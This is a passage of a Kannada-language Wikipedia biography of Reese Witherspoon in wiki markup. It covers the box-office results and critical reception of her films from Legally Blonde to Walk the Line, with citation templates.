ಗೆಳೆಯನಿದ್ದಾನೆ. ಹೌದು, ಅವನು ಆಕೆಯನ್ನು ತೊರೆಯುತ್ತಾನೆ. ಯಾರು ಕೇಳ್ತಾರೆ? ಆಕೆಯನ್ನು ಇನ್ನೂ ದ್ವೇಷಿಸುತ್ತೇನೆ.' ಹಾಗಾಗಿ ನೀವು ಆಕೆಯನ್ನು ದ್ವೇಷಿಸಲು ಆಗದಂತಹ ಹುಡುಗಿಯಾಗಿಸುವುದನ್ನು ನಾವು ಖಾತರಿಪಡಿಸಬೇಕಿತ್ತು." <ref name="sweethome"/> ''ಲೀಗಲಿ ಬ್ಲೋಂಡ್‌'' ಗಲ್ಲಾಪೆಟ್ಟಿಗೆ ಯಶಸ್ಸಿನ ಚಲನಚಿತ್ರವಾಯಿತು,ದೇಶೀಯವಾಗಿ US$96 ದಶಲಕ್ಷ ಹಣಗಳಿಸಿತು.<ref name="mojo">{{cite web|title=Reese Witherspoon|publisher=[[Box Office Mojo]]|url=http://www.boxofficemojo.com/people/chart/?id=reesewitherspoon.htm|accessdate=2007-12-02}}</ref> ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್ ನಟನೆಯು ವಿಮರ್ಶಕರಿಂದ ಪ್ರಶಂಸೆ ಗಳಿಸಿತು. ಪತ್ರಿಕಾ ಮಾಧ್ಯಮವು ಅವರನ್ನು 'ನೂತನ [[ಮೆಗ್‌ ರಯಾನ್‌]]' ಎಂದು ಉಲ್ಲೇಖಿಸಿತು.<ref>{{cite web|title=Classic Crawford|author=Harkness, John|date=2003-02-06|publisher=[[NOW (magazine)|NOW]]|url=http://www.nowtoronto.com/issues/2003-02-06/movie_videodvd.php|accessdate=2007-11-04|archive-date=2005-11-28|archive-url=https://web.archive.org/web/20051128085445/http://www.nowtoronto.com/issues/2003-02-06/movie_videodvd.php|url-status=dead}}</ref> 'ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ತಮ್ಮ ಹರ್ಷಚಿತ್ತತೆ ಮತ್ತು ಚತುರೋಕ್ತಿಗಳಿಂದ ಈ ಪಾತ್ರಕ್ಕೆ ಲೀಲಾಜಾಲವಾಗಿ ಜೀವ ತುಂಬಿದ್ದಾರೆ' ಎಂದು [[ರೊಜರ್‌ ಎಬರ್ಟ್‌]] ಪ್ರತಿಕ್ರಿಯಿಸಿದ್ದಾರೆ. 'ರೀಸ್‌ ಎಲ್ಲೆ ವುಡ್ಸ್‌ ಪಾತ್ರವನ್ನು ಬಹಳ ಸುಂದರವಾಗಿ ನಿರೂಪಿಸಿದ್ದಾರೆ' ಎಂದು ''[[Salon.com]]'' ಅಭಿಪ್ರಾಯಪಟ್ಟಿದೆ.<ref>{{cite web|title=Legally blone|author=Zacharek, Stephanie|date=2001-07-13|publisher=[[Salon.com]]|url=http://archive.salon.com/ent/movies/review/2001/07/13/legally_blonde/index.html|accessdate=2007-12-12|archive-date=2007-12-05|archive-url=https://web.archive.org/web/20071205183719/http://archive.salon.com/ent/movies/review/2001/07/13/legally_blonde/index.html|url-status=dead}}</ref> ಏತನ್ಮಧ್ಯೆ, 'ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಒಬ್ಬ ಪ್ರತಿಭಾವಂತ ಹಾಸ್ಯನಟಿ. ಲವಲವಿಕೆಯಿಂದ ದೃಶ್ಯಗಳಿಗೆ ಜೀವ ತುಂಬುತ್ತಾರೆ ಹಾಗೂ ಸಾಧಾರಣ ಸಣ್ಣ ಹಾಸ್ಯಚಿತ್ರಕ್ಕೆ ಬಹುತೇಕ ಏಕಾಂಗಿಯಾಗಿ ಯಾರ ಸಹಾಯವಿಲ್ಲದೇ ಶಕ್ತಿತುಂಬಿದ್ದಾರೆ ಎಂದು ''[[ಸಿಯೆಟ್ಲ್‌ ಪೋಸ್ಟ್‌-ಇಂಟೆಲಿಜೆನ್ಸರ್‌]]'' ಅಭಿಪ್ರಾಯಪಟ್ಟಿದೆ.<ref>{{cite web|title=Enough energy in this 'Blonde' to perk up limp comedy|publisher=[[Seattle Post-Intelligencer]]|author=Axmaker, Sean|date=2001-07-13|url=http://www.seattlepi.com/movies/31039_blonde13q.shtml|accessdate=2007-12-12}}</ref> ತಮ್ಮ ನಟನೆಗಾಗಿ, ರೀಸ್‌ ತಮ್ಮ ಎರಡನೆಯ [[ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌]] ಅತ್ಯುತ್ತಮ ನಟಿ ನಾಮನಿರ್ದೇಶನ ಮತ್ತು ಅತ್ಯುತ್ತಮ ಹಾಸ್ಯನಟನೆಗಾಗಿ [[MTV ಮೂವಿ ಪ್ರಶಸ್ತಿ]] ಗಳಿಸಿದರು. ''ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌'' ನ ಯಶಸ್ಸಿನ ನಂತರ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಹಲವು ಪಾತ್ರಗಳಲ್ಲಿ ನಟಿಸಿದರು. 2002ರಲ್ಲಿ, ''[[ದಿ ಸಿಂಪ್ಸನ್ಸ್‌]]'' ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರ ಸರಣಿಯ [[ದಿ ಬಾರ್ಟ್‌ ವಾಂಟ್ಸ್‌ ವಾಟ್‌ ಇಟ್‌ ವಾಂಟ್ಸ್‌]] ಕಂತಿನ ಗ್ರೀಟಾ ವುಲ್ಫ್‌ಕ್ಯಾಸ್ಲ್‌ ಎಂಬ ಆನಿಮೇಟೆಡ್‌ ಪಾತ್ರಕ್ಕೆ ಧ್ವನಿದಾನ ಮಾಡಿದರು.<ref>{{cite web|title=Reese Witherspoon filmography|publisher=[[Variety magazine|Variety]]|url=http://www.variety.com/profiles/people/main/30620/Reese%20Witherspoon.html?dataSet=1|accessdate=2007-11-17|archiveurl=https://web.archive.org/web/20071124083344/http://www.variety.com/profiles/people/main/30620/Reese%20Witherspoon.html?dataSet=1|archivedate=2007-11-24|url-status=live}}</ref> ಇದೇ ವರ್ಷ, [[ಆಸ್ಕರ್ ವೈಲ್ಡ್‌]]ರ ನಾಟಕವನ್ನಾಧರಿಸಿದ ''[[ದಿ ಇಂಪಾರ್ಟನ್ಸ್‌ ಆಫ್‌ ಬೀಯಿಂಗ್‌ ಅರ್ನೆಸ್ಟ್‌]]'' ಹಾಸ್ಯಪ್ರಧಾನ ಚಲನಚಿತ್ರದಲ್ಲಿ ಸೆಸಿಲಿಯ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದರು. ಈ ನಟನೆಗಾಗಿ ಅವರಿಗೆ [[ಹದಿಹರೆಯದವರ ಆಯ್ಕೆಯ ಪ್ರಶಸ್ತಿ‌]] ನಾಮನಿರ್ದೇಶನ ಪಡೆದರು.<ref>{{cite web|author= Clark, John |date=2002-05-12|title=Young and talented, headstrong and 'Earnest' Reese Witherspoon gets what she wants|publisher=[[San Francisco Chronicle]]| url=http://www.sfgate.com/cgi-bin/article.cgi?f=/chronicle/archive/2002/05/12/PK236774.DTL&type=movies|accessdate=2007-11-04}}</ref><ref>{{cite web|title= Announces the 4th Annual 2002 Teen Choice Awards Nominees|publisher=[[PR Newswire]] |url=http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/06-03-2002/0001739538&EDATE=|accessdate=2007-11-04}}</ref> [[ಆಂಡಿ ಟೆನ್ನಂಟ್‌]] ನಿರ್ದೇಶನದ ''[[ಸ್ವೀಟ್‌ ಹೋಮ್‌ ಅಲಬಾಮಾ]]'' 2002ರಲ್ಲಿನ ಅವರ ಮುಂದಿನ ಚಲನಚಿತ್ರವಾಗಿತ್ತು. ಈ ಚಲನಚಿತ್ರದಲ್ಲಿ [[ಜೋಷ್‌ ಲ್ಯೂಕಾಸ್‌]] ಮತ್ತು [[ಪ್ಯಾಟ್ರಿಕ್‌ ಡೆಂಪ್ಸಿ]]ರೀಸ್‌ರೊಂದಿಗೆ ನಟಿಸಿದರು. ಇದರಲ್ಲಿ ಅವರದ್ದು ಮೆಲಾನೀ ಕಾರ್ಮೈಕೇಲ್‌ ಎಂಬ ಯುವ ಫ್ಯಾಷನ್‌ ವಿನ್ಯಾಸಕಿಯ ಪಾತ್ರ. ಈಕೆ ನ್ಯೂಯಾರ್ಕ್‌ ರಾಜಕಾರಣಿಯನ್ನು ಮದುವೆಯಾಗುವ ಹಂಬಲವಿತ್ತು. ಆದರೆ ಈಕೆಯಿಂದ ಏಳು ವರ್ಷಗಳ ಕಾಲ ಪ್ರತ್ಯೇಕಗೊಂಡಿದ್ದ ತನ್ನ ಬಾಲ್ಯದ ಪ್ರಿಯತಮನಿಂದ ವಿಚ್ಛೇದನ ಪಡೆಯಲು [[ಅಲಬಾಮಾ]]ಗೆ ವಾಪಸಾಗಬೇಕಿತ್ತು. ಇದು ತಮ್ಮ 'ವೈಯಕ್ತಿಕ ಪಾತ್ರ' ಎಂದು ರೀಸ್‌ ಬಣ್ಣಿಸಿದರು. ಏಕೆಂದರೆ ಅವರು ತವರುಪಟ್ಟಣ ನ್ಯಾಶ್‌ವಿಲ್ಲೆಯಿಂದ ಲಾಸ್‌ ಏಂಜೆಲೀಸ್‌ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಾಗ ತಮಗಾದ ಅನುಭವಗಳನ್ನು ಈ ಪಾತ್ರವು ನೆನಪಿಸಿತು.<ref>{{cite web|publisher=[[IGN]]|url=http://au.movies.ign.com/articles/371/371856p1.html|title=Interview with Reese Witherspoon|accessdate=2007-06-12|archive-date=2011-07-13|archive-url=https://web.archive.org/web/20110713005004/http://au.movies.ign.com/articles/371/371856p1.html|url-status=dead}}</ref> ಈ ಚಲನಚಿತ್ರವು ಈವರೆಗೆ ರೀಸ್‌ರ ಅತಿ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆ ಯಶಸ್ವೀ ಚಲನಚಿತ್ರವಾಗಿ ಹೊರಹೊಮ್ಮಿತು. ಬಿಡುಗಡೆಯಾದ ಮೊದಲ ವಾರಾಂತ್ಯದಲ್ಲೇ ಅದು $35 ದಶಲಕ್ಷಕ್ಕಿಂತ ಹೆಚ್ಚು ಹಣಗಳಿಸಿ, USನಲ್ಲಿ ಸ್ಥಳೀಯವಾಗಿ $127 ದಶಲಕ್ಷ ಹಣ ಗಳಿಸಿತು.<ref name="mojo"/><ref>{{cite web|title=Reese Witherspoon biography (page 6)|author=Wills, Dominic|publisher=[[Tiscali]]| url=http://www.tiscali.co.uk/entertainment/film/biographies/reese_witherspoon_biog/6|accessdate=2007-12-12}}</ref> ಈ ವಾಣಿಜ್ಯ ಯಶಸ್ಸಿನ ನಡುವೆಯೂ, ವಿಮರ್ಶಕರು ''ಸ್ವೀಟ್‌ ಹೋಮ್‌ ಅಲಬಾಮಾ'' ಚಲನಚಿತ್ರಕ್ಕೆ ನಕಾರಾತ್ಮಕ ವಿಮರ್ಶೆಗಳನ್ನು ನೀಡಿದರು. ''[[ದಿ ಮಿಯಾಮಿ ಹೆರಾಲ್ಡ್‌]]'' ಪತ್ರಿಕೆಯು ಇದನ್ನು 'ಅತೀ ನೀರಸವಾದ,ಉರುಹಚ್ಚಿದ ಮುಂಚೆಯೇ ನಿರೀಕ್ಷಿಸಬಹುದಾಗಿದ್ದ ಭಾವಪ್ರಧಾನ ಹಾಸ್ಯ ಚಲನಚಿತ್ರ' ಎಂದು ಜರಿಯಿತು.<ref>{{cite web|title= Linin' up good ol' cliches, in a fashion|author= Ogle, Connie|date= 2002-09-27|url= http://ae.miami.com/entertainment/ui/miami/movie.html?id=72299&reviewId=9832|accessdate= 2007-12-01|archive-date= 2007-06-23|archive-url= https://archive.today/20070623044747/http://ae.miami.com/entertainment/ui/miami/movie.html?id=72299&reviewId=9832|url-status= dead}}</ref> 'ಈ ಚಲನಚಿತ್ರ ಜನರನ್ನು ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿ ಪ್ರೇಕ್ಷಕರನ್ನು ಸೆಳೆಯಲು ಕೇವಲ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಕಾರಣ' ಎಂದು ಪತ್ರಿಕಾ ಮಾಧ್ಯಮವು ವ್ಯಾಪಕವಾಗಿ ಒಪ್ಪಿಕೊಂಡಿತು.<ref>{{cite web |url=http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20020927/REVIEWS/209270304/1023 |title=Sweet Home Alabama |first=Roger |last=Ebert |date=2002-09-27 |accessdate=2007-12-01 |archive-date=2007-12-12 |archive-url=https://web.archive.org/web/20071212113353/http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F20020927%2FREVIEWS%2F209270304%2F1023 |url-status=dead }}</ref><ref>{{cite web|publisher=[[Tiscali]]|url=http://www.tiscali.co.uk/entertainment/film/reviews/sweet_home_alabama.html|title=Sweet Home Alabama|accessdate=2007-12-01}}</ref> ಚಲನಚಿತ್ರದಲ್ಲಿ ರೀಸ್‌ರ ಪಾತ್ರದ ಬಗ್ಗೆ ಬಣ್ಣಿಸಿದ ದಿ ಕ್ರಿಶ್ಚಿಯನ್‌ ಸೈನ್ಸ್‌ ಮಾನಿಟರ್, 'ಅವರು ಈ ಚಲನಚಿತ್ರದ ಪ್ರಮುಖ ಅಕರ್ಷಣೆ ಮಾತ್ರವಲ್ಲ, ಅವರು ಅದರ ಏಕೈಕ ಆಕರ್ಷಣೆ' ಎಂಬ ನಿರ್ಣಯಕ್ಕೆ ಬಂದಿತು.<ref>{{cite web|title=A down-home dilemma|publisher=[[The Christian Science Monitor]]|author=Sterritt, David| date=2002-09-27|url=http://www.csmonitor.com/2002/0927/p15s01-almo.html|accessdate=2007-12-12}}</ref> ''ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌'' ನ ಯಶಸ್ಸಿನ ನಂತರ, 2003ರಲ್ಲಿ ರೀಸ್‌ ಅದರ ನಂತರದ ಭಾಗದಲ್ಲಿ ನಟಿಸಿದರು. ''[[Legally Blonde 2: Red, White & Blonde]]'' ಇದರಲ್ಲಿ ಅವರ ಎಲ್ಲೆ ವುಡ್ಸ್‌ ಪಾತ್ರವು ಹಾರ್ವರ್ಡ್‌-ಶಿಕ್ಷಿತ ವಕೀಲೆಯಾಗಿ, ಶೃಂಗಾರ ಸಾಧನ ಉದ್ಯಮದ ವೈಜ್ಞಾನಿಕ ಪ್ರಯೋಗಗಳಿಂದ ಪ್ರಾಣಿಗಳನ್ನು ರಕ್ಷಿಸಲು ಸಂಕಲ್ಪಿಸುತ್ತಾರೆ. ಈ ಚಲನಚಿತ್ರವು ಮೊದಲ ಭಾಗದಷ್ಟು ಆರ್ಥಿಕ ಯಶಸ್ಸು ಪಡೆಯಲಿಲ್ಲ. ಹೆಚ್ಚಿಗೆ ಟೀಕೆಗಳಿಂದ ತುಂಬಿದ ವಿಮರ್ಶೆಗಳನ್ನು ಎದುರಿಸಬೇಕಾಯಿತು. ಈ ಚಲನಚಿತ್ರವು 'ಪ್ರಯಾಸದಿಂದ ಸಾಗುವ,ಹಾಸ್ಯರಹಿತ ಮತ್ತು ಬಹುತೇಕ ದೈನ್ಯತೆಗೆ ಅರ್ಹ' ಎಂದು USA ಟುಡೇ ಪರಿಗಣಿಸಿತು. 'ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್ ಹೊಂಬಣ್ಣದ ಕೂದಲುಳ್ಳ, ಅಸಾಧಾರಣ ಬುದ್ಧಿಮತ್ತೆಯುಳ್ಳ ಚೆಲುವೆಯ ಪಾತ್ರವನ್ನು ಉತ್ತಮವಾಗಿ ನಿಭಾಯಿಸಿದ್ದಾರೆ; ಆದರೆ ಹಾಸ್ಯರಹಿತ ಸಂವಾದಗಳಿಂದ ಅತ್ಯಂತ ಗುಣಮಟ್ಟದ ಹಾಸ್ಯದ ವೇಳೆಯು ವ್ಯರ್ಥವಾಗುತ್ತಿದೆ' ಎಂದು ''[[USA ಟುಡೆ]]'' ಗಮನಸೆಳೆಯಿತು. ಏತನ್ಮಧ್ಯೆ, 'ಮೊದಲನೆಯ ಚಿತ್ರದಲ್ಲಿದ್ದ ಮನರಂಜನಾ ಅಂಶಗಳೆಲ್ಲವನ್ನೂ ಈ ಎರಡನೆಯ ಭಾಗವು ಗಡುಸಾಗಿಸುತ್ತದೆ ಎಂದು ''Salon.com'' ನಿರ್ಣಯಿಸಿತು.<ref>{{cite web|title=Legally Blonde 2|publisher=[[Salon.com]]|url=http://dir.salon.com/story/ent/movies/review/2003/07/02/blonde/|author=Taylor, Charles|date=2003-07-02|accessdate=2007-12-12|archive-date=2011-06-07|archive-url=https://web.archive.org/web/20110607001319/http://dir.salon.com/story/ent/movies/review/2003/07/02/blonde/|url-status=dead}}</ref> ವಿಮರ್ಶಾಕಾರರು ಈ ಚಲನಚಿತ್ರಕ್ಕೆ ನಕಾರಾತ್ಮಕ ಪ್ರತಿಕ್ರಿಯೆ ನೀಡಿದರಾದರೂ, ಎರಡನೆಯ ಭಾಗವು ಬಿಡುಗಡೆಯಾದ ಮೊದಲ ಐದು ದಿನಗಳಲ್ಲಿ US ಗಲ್ಲಾಪೆಟ್ಟಿಗೆ ಪಟ್ಟಿಗಳಲ್ಲಿ $39 ದಶಲಕ್ಷ ಹಣ ಗಳಿಸಿ, USನಲ್ಲಿ $90 ದಶಲಕ್ಷ ಹಣ ಗಳಿಸಿತು.<ref>{{cite web|date=July 23, 2003|title=Witherspoon leads UK première|publisher=[[BBC News]]|url=http://news.bbc.co.uk/1/hi/entertainment/film/3089425.stm|accessdate=2007-11-04}}</ref> ಈ ಪಾತ್ರಕ್ಕಾಗಿ ರೀಸ್‌ರಿಗೆ $15 ದಶಲಕ್ಷ ಮೊತ್ತದ ಸಂಬಳದ ಚೆಕ್‌ ಲಭಿಸಿತು. ಹಾಲಿವುಡ್‌ನಲ್ಲಿ ಅತಿ ಹೆಚ್ಚು ಸಂಭಾವನೆ ಪಡೆಯುವ ನಟಿಯರಲ್ಲಿ ಒಬ್ಬರಾಗುವತ್ತ 2002ರಲ್ಲಿ ಇದು ಮೊದಲ ಹೆಜ್ಜೆಯಾಯಿತು.<ref name="sweethome">{{cite web|title=Witherspoon's 'Sweet Home'|publisher=[[USA Today]]|author=Puig, Claudia |date=2002-09-18|url=http://www.usatoday.com/life/2002-09-18-reese-witherspoon_x.htm|accessdate=2007-11-04}}</ref><ref>{{cite web|title=Julia Roberts Tops Actress Power List|publisher=[[People magazine]]|url=http://www.people.com/people/article/0,,625295,00.html|accessdate=2008-06-13|archive-date=2008-04-16|archive-url=https://web.archive.org/web/20080416074936/http://www.people.com/people/article/0%2C%2C625295%2C00.html|url-status=dead}}</ref><ref>{{cite web|title=Roberts and Kidman head list of top-earning actresses|date=2005-12-02|publisher=[[Daily Times (Pakistan)]]|url=http://www.dailytimes.com.pk/default.asp?page=2005%5C12%5C02%5Cstory_2-12-2005_pg9_1|accessdate=2007-11-04|archiveurl=https://archive.today/20121221202354/http://www.dailytimes.com.pk/default.asp?page=2005%5C12%5C02%5Cstory_2-12-2005_pg9_1|archivedate=2012-12-21|url-status=live}}</ref><ref>{{cite web|title=Angelina Jolie Surpasses Reese Witherspoon as Highest-Paid Actress|date=2008-12-05|publisher=[[US Magazine]]|url=http://www.usmagazine.com/news/angelina-jolie-surpasses-reese-witherspoon-as-highest-paid-actress|accessdate=2007-12-08|archive-date=2008-12-08|archive-url=https://web.archive.org/web/20081208074755/http://www.usmagazine.com/news/angelina-jolie-surpasses-reese-witherspoon-as-highest-paid-actress|url-status=dead}}</ref> 19ನೆಯ ಶತಮಾನ ಕಾಲದ ಅತ್ಯುತ್ತಮ ಕಾದಂಬರಿ ''[[ವ್ಯಾನಿಟಿ ಫೇಯರ್‌]]'' ರೂಪಾಂತರದ 2004ರಲ್ಲಿ [[ಮೀರಾ ನಾಯರ್‌]] ನಿರ್ದೇಶಿಸಿದ ''[[ವ್ಯಾನಿಟಿ ಫೇಯರ್‌]]'' ಚಲನಚಿತ್ರದಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ನಟಿಸಿದರು. ಇದರಲ್ಲಿ ವಿದರ್‌ಸ್ಪೂನ್ ಪಾತ್ರ- ಬೆಕ್ಕಿ ಷಾರ್ಪ್‌- ಈ ಮಹಿಳೆಯ ಬಡತನದ ಬಾಲ್ಯವು ಅವಳನ್ನು ಮಹತ್ವಾಕಾಂಕ್ಷಿ ವ್ಯಕ್ತಿಯಾಗಿ ತಿರುಗಿಸಿ, ಅದೃಷ್ಟವನ್ನು ಅರಸಿಕೊಂಡು ಸಮಾಜದಲ್ಲಿ ಒಂದು ಸ್ಥಾನವನ್ನು ಪಡೆಯುವ ನಿರ್ದಯ ಸಂಕಲ್ಪವನ್ನು ಹೊಂದಿರುತ್ತಾಳೆ. ಈ ಚಲನಚಿತ್ರದ ಚಿತ್ರೀಕರಣದ ಸಮಯದಲ್ಲಿ ಅವರು ಗರ್ಭಿಣಿಯಾಗಿದ್ದರು. ತಾವು ಗರ್ಭವತಿಯಾಗಿದ್ದನ್ನು ಮರೆಮಾಚಲು ಸೂಕ್ತವಾದ ಪೋಷಾಕುಗಳನ್ನು ಧರಿಸುತ್ತಿದ್ದರು.<ref>{{cite web|title=Witherspoon Walks The Line|author=Edelstein, David|publisher=[[CBS News]]|url=http://www.cbsnews.com/stories/2005/11/12/sunday/main1041397.shtml|accessdate=2007-11-04|archive-date=2007-12-24|archive-url=https://web.archive.org/web/20071224160212/http://www.cbsnews.com/stories/2005/11/12/sunday/main1041397.shtml|url-status=dead}}</ref> ಆಕೆಯ ನಟನೆಗೆ ಗರ್ಭದಾರಣೆ ತೊಡಕಾಗಿರಲಿಲ್ಲ, ಇದರ ಬದಲಿಗೆ ಬೆಕ್ಕಿ ಷಾರ್ಪ್‌ರ ಪಾತ್ರವನ್ನು ನಿಭಾಯಿಸಲು ಗರ್ಭದಾರಣೆ ಸ್ಥಿತಿಯು ನೆರವಾಯಿತು ಎಂದು ರೀಸ್‌ ನಂಬಿದರು. 'ಗರ್ಭಸ್ಥಿತಿಯು ತರುವಂತಹ ತೇಜಸ್ಸನ್ನು ನಾನು ಇಷ್ಟಪಟ್ಟಿರುವೆ. ಮೈತುಂಬಿಕೊಳ್ಳುವಿಕೆಯನ್ನು ಇಷ್ಟಪಡುವೆ, ದಷ್ಟಪುಷ್ಟ ಎದೆಯನ್ನೂ ಇಷ್ಟಪಡುವೆ - ಇದು ನನಗೆ ಪಾತ್ರದಲ್ಲಿ ಅಪಾರ ಖುಷಿ ನೀಡುತ್ತದೆ' ಎಂದರು ಅವರು ಹೇಳಿದರು.<ref name="telegraphindia">{{cite web|title=Mira's early feminist|date=2004-09-06|publisher=[[The Telegraph (Kolkata)|The Telegraph]]|url=http://www.telegraphindia.com/1040906/asp/atleisure/story_3722983.asp|accessdate=2007-11-04|archive-date=2007-12-03|archive-url=https://web.archive.org/web/20071203221405/http://www.telegraphindia.com/1040906/asp/atleisure/story_3722983.asp|url-status=dead}}</ref><ref>{{cite web|title=Director Nair's Vanity project|publisher=[[BBC News]]|url= http://news.bbc.co.uk/1/hi/entertainment/film/4056147.stm|accessdate=2007-11-04 | date=2004-12-01}}</ref> ಚಲನಚಿತ್ರ ಹಾಗೂ ಅವರು ಪಾತ್ರವಹಿಸಿದ ಬೆಕ್ಕಿ ಷಾರ್ಪ್‌ ಒಳ್ಳೆಯ ವಿಮರ್ಶೆಗಳನ್ನು ಸಂಪಾದಿಸಿದವು. ದಿ ''[[ಹಾಲಿವುಡ್‌ ರಿಪೊರ್ಟರ್‌]]'' ಬರೆದದ್ದು ಹೀಗೆ: 'ನಾಯರ್‌ರ ತಾರಾಬಳಗವು ಭವ್ಯವಾಗಿದೆ. ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ತಮ್ಮ ಪಾತ್ರಕ್ಕೆ ತುಂಟತನಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ ಪುನಶ್ಚೈತನ್ಯ ತುಂಬಿಸಿ ನ್ಯಾಯವೊದಗಿಸಿದ್ದಾರೆ.' <ref>{{cite web|date=2004-08-27|author=Honeycutt, Kirk|title=Vanity Fair|publisher=[[The Hollywood Reporter]]|url=http://www.hollywoodreporter.com/hr/search/article_display.jsp?vnu_content_id=1000619958|accessdate=2007-12-02|archive-date=2009-01-14|archive-url=https://web.archive.org/web/20090114193627/http://www.hollywoodreporter.com/hr/search/article_display.jsp?vnu_content_id=1000619958|url-status=dead}}</ref> ಇದೇ ಸಮಯ, ರೀಸ್‌ರ ನಟನೆಯನ್ನು ಶ್ಲಾಘಿಸಿದ ''[[ದಿ ಷಾರ್ಲಾಟ್‌ ಅಬ್ಸರ್ವರ್‌]]'' 'ಮೃದುವಾದ ಅಂಚುಗಳನ್ನು ಹೊಂದಿರುವ ಅತ್ಯುತ್ತಮ ನಟನೆ' ಎಂದಿದೆ. 'ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಬೆಕ್ಕಿ ಷಾರ್ಪ್‌ ಪಾತ್ರ ಮಾಡಲೆಂದೇ ಹುಟ್ಟಿರುವಂತಿದೆ' ಎಂದು ''[[ಲಾಸ್‌ ಏಂಜೆಲೀಸ್‌ ಟೈಮ್ಸ್‌]]'' ನಿರ್ಣಯಿಸಿತು.<ref>{{cite web|author=Toppman Lawrence|date=2004-09-01|title=A 'Vanity Fair' with flair|publisher=[[The Charlotte Observer]]|url=http://ae.charlotte.com/entertainment/ui/charlotte/movie.html?id=164734&reviewId=15989&startDate=NEXT7|accessdate=2007-12-02}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>{{cite web|title='Vanity Fair'Review|author=Chocano, Carina| date= 2004-09-01|publisher=[[Los Angeles Times]]|url=http://www.calendarlive.com/movies/chocano/cl-et-chocano1sep01,2,3554055.story|accessdate=2007-12-02}}</ref> === ''ವಾಕ್‌ ದಿ ಲೈನ್‌'' ಹಾಗೂ ಅಲ್ಲಿಂದಾಚೆಗೆ (2005–ಇಂದಿನವರೆಗೆ) === 2004ರ ಅಪರಾರ್ಧದಲ್ಲಿ, ಭಾವಪ್ರಧಾನ ಹಾಸ್ಯ ಚಲನಚಿತ್ರ ''[[ಜಸ್ಟ್‌ ಲೈಕ್‌ ಹೆವೆನ್‌]]'' ನಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ [[ಮಾರ್ಕ್‌ ರಫೆಲೊ]]ರೊಂದಿಗೆ ನಟಿಸಿದರು. ಎಲಿಜಬೆತ್‌ ಮಾಸ್ಟರ್ಸನ್‌ ಎಂಬ ಪಾತ್ರದಲ್ಲಿ ಮಹತ್ವಾಕಾಂಕ್ಷೆಯ ಯುವ ವೈದ್ಯೆಯಾಗಿರುತ್ತಾಳೆ. ಗಂಭೀರ ಕಾರ್‌ ಅಪಘಾತವೊಂದರಿಂದ ಪ್ರಜ್ಞಾಹೀನ ಸ್ಥಿತಿಯಲ್ಲಿರುತ್ತಾಳೆ. ಆಕೆಯ ಆತ್ಮವು ತನ್ನ ಹಳೆಯ ನಿವಾಸಕ್ಕೆ ವಾಪಸಾಗಿ, ಅಲ್ಲಿ ನಂತರ ಅವಳು ನೈಜ ಪ್ರೇಮವನ್ನು ಕಾಣುತ್ತಾಳೆ.<ref>{{cite web|title=Just Like Heaven (PG)|date=2005-12-29|author=Moten, Katie|publisher=[[Radio Telefís Éireann]]|url=http://www.rte.ie/arts/2005/1229/justlikeheaven.html|accessdate=2007-11-04|archive-date=2007-10-23|archive-url=https://web.archive.org/web/20071023101757/http://www.rte.ie/arts/2005/1229/justlikeheaven.html|url-status=dead}}</ref> [[ಚಿತ್ರ:Reese Witherspoon 2005.jpg|thumb|right|ಇಸವಿ 2005ರಲ್ಲಿ ಟೊರೊಂಟೊ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಚಲನಚಿತ್ರೋತ್ಸವದಲ್ಲಿ ವಾಕ್‌ ದಿ ಲೈನ್‌ ಚಲನಚಿತ್ರದ ಪ್ರಥಮಪ್ರದರ್ಶನದಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌]] ಆ ವರ್ಷದ ಪೂರ್ವಾರ್ಧದಲ್ಲಿ, ''[[ವಾಕ್ ದಿ ಲೈನ್‌]]'' ಚಲನಚಿತ್ರದಲ್ಲಿ ಗ್ರಾಮ್ಯ ಸಂಗೀತಗಾರ, ಹಾಡುಗಾರ ಮತ್ತು ಗೀತರಚನಾಕಾರ [[ಜಾನಿ ಕ್ಯಾಷ್‌]]ರ ಎರಡನೆಯ ಪತ್ನಿ [[ಜೂನ್‌ ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌]] ಪಾತ್ರ ನಿರ್ವಹಿಸಲು ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಆಯ್ಕೆಯಾದರು. ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌ ಸತ್ತಾಗ ರೀಸ್‌ ''ವ್ಯಾನಿಟಿ ಫೇಯರ್‌'' ಚಲನಚಿತ್ರಕ್ಕಾಗಿ ಚಿತ್ರೀಕರಣದಲ್ಲಿ ಮಗ್ನರಾಗಿದ್ದ ಕಾರಣ ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌ರನ್ನು ಮುಖತಃ ಭೇಟಿ ಮಾಡುವ ಅವಕಾಶ ಅವರಿಗೆ ಸಿಗಲೇ ಇಲ್ಲ.<ref name="findarticles"/> ಈ ಚಲನಚಿತ್ರದಲ್ಲಿ ರೀಸ್‌ ತಮ್ಮದೇ ಧ್ವನಿ ನೀಡಿದರು. 